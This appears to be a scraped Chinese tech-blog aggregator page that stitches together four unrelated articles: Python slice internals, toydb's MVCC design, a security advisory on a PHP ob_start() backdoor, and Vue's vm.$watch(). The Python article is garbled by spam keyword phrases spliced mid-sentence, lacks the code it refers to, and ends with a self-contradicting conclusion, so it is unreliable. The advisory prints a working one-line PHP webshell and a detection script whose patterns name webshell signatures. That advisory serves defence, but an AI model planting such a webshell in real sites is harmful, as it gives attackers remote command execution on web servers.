1.深入 Python —— 切片(Slice)原理
2.toydb源码阅读02-MVCC
3.网站安全分析:PHP ob_start函数后门分析
4.每天学点Vue源码: 关于vm.$watch()内部原理
深入 Python —— 切片(Slice)原理
在深入探讨 Python 切片原理之前,源码我们先检验一下对切片的解析基本理解。请尝试回答以下几个问题:
不借助Python解释器,源码能迅速给出答案的解析,说明你对切片掌握得不错。源码许多人可能对其中一个问题不完全确定。解析myword源码没关系,源码本文将从底层实现角度全面掌握切片机制,解析学完之后,源码再回头来看这些问题就不再是解析难题。
让我们从字节码层面开始。源码这段字节码分为两部分,解析前半部分构建列表 a,源码后半部分通过 a 切片得到列表 b。解析与本文主题相关的源码关键字节码指令在后半部分,它们是:
BUILD_SLICE
在执行 BUILD_SLICE 之前,解释器将切片的两个关键参数 start 和 stop 压入栈,然后执行 BUILD_SLICE 指令。传入参数为 2,这意味着构建的切片对象只包含两个参数,即没有指定第三个参数 step。
这段代码简明,首先根据传入参数个数判断切片是否包含 step,如果有,它会成为最后一个被压入栈的标果工厂源码参数。接下来,从栈中取出 start 和 stop,并将这三个参数传入 PySlice_New 函数创建切片对象,再将此对象放回栈中。
现在,让我们进一步探索切片对象的内部结构:
现在明白了吗?当我们对序列进行切片时,解释器会根据传入的 start、stop、step 创建切片对象,该对象与要切片的原序列之间没有直接关联。
Python 提供内置函数 slice 来创建切片对象:
这两种获取切片方式等价:
BINARY_SUBSCR
这个指令称为二元下标,即 a[0] 的方式是一元下标。那么,通过切片对象对序列进行切片与通过索引对序列取值是否有关联?继续查看源码:
从栈中取出的对象是前面构建的切片对象,而 container 对象则是要切片的原列表,它们被传给了 PyObject_GetItem 函数。
答案显而易见,二元下标即切片通过 PyObject_GetItem 函数处理,它同样用于处理一元下标!
PyObject_GetItem 实现了多态性,根据要切片的对象不同,调用对象的特定函数以进行不同的处理。列表的处理将在后续讨论,现在我们需要理解,spring项目源码大全序列的下标可以是整数或切片对象,它们的处理接口相同。
切片参数的处理涉及 start、stop 和 step 的值,这些值可以是整数,可以是负数,start 和 stop 可能超过列表长度。特殊 step、stop 值决定了切片结果,这些处理在 PySlice_GetIndicesEx 函数中完成。理解切片行为的核心在于理解这个函数的逻辑。
记住以下几点:
深入列表切片处理:
切片适用于所有序列对象:列表、字符串、元组。我们日常最常使用的列表切片就在这里进行深入探讨,其他两种处理方式也类似。
通过查看列表对象源码,我们发现, o->ob_type->tp_as_mapping->mp_subscript 和 list.__getitem__ 指向同一个函数——list_subscript,列表切片正是在这里处理的:
其中的 list_slice 函数在 step 等于 1 时简化版:
总结:
本文从源码层面深入分析了切片对象、对 start、stop、step 值的处理,以及虚拟机生成列表切片的学习源码要多久全过程。理解 Python 对 start、stop、step 的处理逻辑后,文章开始处的问题将不再能给出答案。
toydb源码阅读-MVCC
实现MVCC(多版本并发控制)的DBMS内部维持着单个逻辑数据的多个物理版本,当事务修改数据时,就创建新的版本。事务读取时,根据事务的开始时间,读取事务开始时刻之前的最新版本。MVCC的核心概念是,只读事务无需加锁即可读取数据库某一时刻的快照,保留数据的所有历史版本,DBMS甚至能支持读取任意历史版本的数据。在toydb中,这种特性被实现,即不实现垃圾回收(GC),保留所有版本,开发者特别强调这是功能而非错误。
并发控制方面,MVCC主要解决读写(R-W)冲突,但对于写入(W-W)冲突,仅靠MVCC本身无法解决,需要引入其他并发协议。点点长牌源码toydb实例中,事务的时间或版本基于事务的开始决定。例如,事务T2读取的物理时间可能落后于T5,但T2事务开始早于T5,因此T2能读取到的数据版本早于T5。记录真正可见是根据提交的时刻决定的,事务未提交前,其写入的数据对自身可见,但对其他事务不可见。理解这一概念需要结合具体的并发控制协议。
在Miniob中,MVCC的实现相对简洁。版本基于tid(事务标识),每条记录会生成两个sys_field,分别存储事务的开始时间(begin)和结束时间(end),标识事务的可见性。Miniob中的隔离级别为快照隔离,未提交事务的begin值小于0,因此无法读取到新写入的记录,避免了幻读情况。判断记录是否可见的逻辑在visit_record函数中提供。
toydb的MVCC实现集中在src/storage/mvcc.rs文件中,文件结构清晰,辅助支持如debug.rs、keycode.rs提供额外功能,但核心在于Transaction和MVCC结构体的实现。TransactionState结构体用于安全地传递事务状态,有助于简化事务管理,但并未在MVCC实现中体现。在TransactionState中,提供了一个函数来判断给定版本是否对当前事务可见,基于事务的状态和版本信息进行判断。
toydb中,事务和存储引擎之间通过KV存储引擎交互,实现MVCC功能。对于只读事务和读写事务,toydb提供了不同的开始函数。在写入和删除操作中,toydb通过write_version函数实现,首先检查冲突,然后写入TrnWrite和Version。MVCC的实现包括begin、commit、rollback等关键操作,保证了事务的原子性、可重复读和时间一致性。active_set机制帮助解决了事务提交或回滚时更改的可见性问题,确保了原子性提交和可重复读的实现。
toydb的MVCC模块设计简洁,功能强大,仅余行代码就实现了关键的并发控制逻辑。复合类型Key的支持使得复合数据结构的实现更加直观,同时KV存储引擎不仅用于数据存储,还用于事务日志记录,实现了功能整合。此外,toydb提供了完善的测试和调试支持,简化了功能验证和性能优化的过程。总体来说,toydb的MVCC实现是高效、灵活且易于维护的。
网站安全分析:PHP ob_start函数后门分析
9月日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。
PHP 手册中关于ob_start()函数回调机制的相关说明:
Ob_start()函数后门代码如下:
php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?
后门利用效果如下图:
针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。
为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:
#!/usr/bin/php -q
php#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval($_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval(base 匹配经过base编码后的后门
#eval(gzuncompress 匹配经过gzip压缩过的后门
#`*` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)
#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) result.log
程序的分析结果将保存在当前目录下的result.log文件中
set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir-read()){
if((is_dir("$directory/$file"))($file!=".")($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." $file != ".."eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, )) {
$i++; if((eregi("eval($_POST",$buffer))||(eregi("system(",$buffer))||(eregi("exec(",$buffer))||(eregi("shell_exec(",$buffer))||(eregi("popen(",$buffer))||(eregi("phpinfo(",$buffer))||(eregi("passthru(",$buffer))||(eregi("proc_open(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval(base",$buffer))||(eregi("eval(gzuncompress",$buffer))||(eregi("preg_replace(/^/e,$",$buffer))||(eregi("preg_replace("/^/e",$buffer))||(eregi("assert(",$buffer))||(eregi("ob_start(",$buffer))||(eregi("error_log(",$buffer))||(eregi("dl(",$buffer))){
all();
echo "可疑文件路径:".$fd."rnLine".$i.":".$buffer."rnrn";
}
}
fclose($fp);
}
}
}
$mydir-close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}
find($argv[1]);
使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。
注明:本安全报告来自日志宝,官方网站www.rizhibao.com
每天学点Vue源码: 关于vm.$watch()内部原理
深入探讨Vue源码,解析vm.$watch()的内部原理,让我们从整体结构入手。使用vm.$watch()时,首先数据属性被整个对象a进行观察,这个过程产生一个名为ob的Observe实例。在该实例中,存在dep,它代表依赖关系,而依赖关系在Observe实例内部进行存储。接下来,我们聚焦于内部实现细节,深入理解vm.$watch()在源码中的运作机制。
在Vue的源代码中,实现vm.$watch()功能的具体位置位于`vue/src/core/instance/state.js`文件。从这里开始,我们移步至`vue/src/core/observer/watcher.js`文件,探寻更深入的实现逻辑。此文件内,watcher.js承担了关键角色,管理着观察者和依赖关系的关联。
在深入解析源码过程中,我们发现,当使用vm.$watch()时,Vue会创建一个Watcher实例,这个实例负责监听特定属性的变化。每当被观察的属性值发生变化时,Watcher实例就会触发更新,确保视图能够相应地更新。这一过程通过依赖的管理来实现,即在Observe实例内部,依赖关系被封装并存储,确保在属性变化时能够准确地通知相关的Watcher实例。
总的来说,vm.$watch()的内部实现依赖于Vue框架的观察者模式,通过创建Observe实例和Watcher实例来实现数据变化的监听和响应。这一机制保证了Vue应用的响应式特性,使得开发者能够轻松地在数据变化时触发视图更新,从而构建动态且灵活的应用程序。
2024-11-26 14:01
2024-11-26 13:48
2024-11-26 13:05
2024-11-26 12:11
2024-11-26 12:07
2024-11-26 12:02